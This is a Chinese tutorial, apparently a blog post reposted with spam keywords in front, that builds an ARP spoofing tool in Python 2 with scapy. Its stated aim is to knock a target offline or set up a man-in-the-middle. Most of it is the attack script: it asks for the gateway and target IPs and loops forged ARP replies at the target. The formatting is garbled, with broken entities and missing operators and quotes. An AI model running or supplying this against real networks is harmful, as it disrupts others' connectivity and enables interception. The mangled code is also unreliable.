2核4g做网站,品牌注册查询官网,阳江网红服务区,南昌网站建设公司收费前言#xff1a;想实现像arpsoof一样的工具arp断网攻击原理#xff1a;通过伪造IP地址与MAC地址实现ARP欺骗#xff0c;在网络发送大量ARP通信量。攻击者只要持续不断发送arp包就能造成中间人攻击或者断网攻击。0x01:准备工作Linux环境下:(windows环境下各种错误#xff0c…前言想实现像arpsoof一样的工具arp断网攻击原理通过伪造IP地址与MAC地址实现ARP欺骗在网络发送大量ARP通信量。攻击者只要持续不断发送arp包就能造成中间人攻击或者断网攻击。0x01:准备工作Linux环境下:(windows环境下各种错误其中有个错误是缺少windows.dll至今无法解决)有scapy模块如果没有进行安装py2安装方法pip install scapypy3安装方法pip install scapy3我们要用到scapy模块里的from scapy.all import (ARP,Ether,sendp)from scapy.l2 import getmacipEther是构造网络数据包ARP进行ARP攻击sendp进行发包代码如下:import osfrom scapy.l2 import getmacipfrom scapy.all import (ARP,Ether,sendp)ifconfigos.system(ifconfig)print ifconfiggmacraw_input(Please enter gateway IP:)liushengraw_input(Please enter your IP:)liusrcraw_input(Please enter target IP:)try:tggetmacbyip(liusrc)print tgexcept Exception , f:print [-]{}.format(f)exit()def arpspoof():try:ethEther()arpARP(opis-at,#ARP响应hwsrcgmac,#网关macpsrcliusheng,#网关IPhwdsttg,#目标Macpdstliusrc#目标IP)print ((eth/arp).show())sendp(eth/arp,inter2,loop1)except Exception ,g:print [-]{}.format(g)exit()arpspoof()运行截图效果图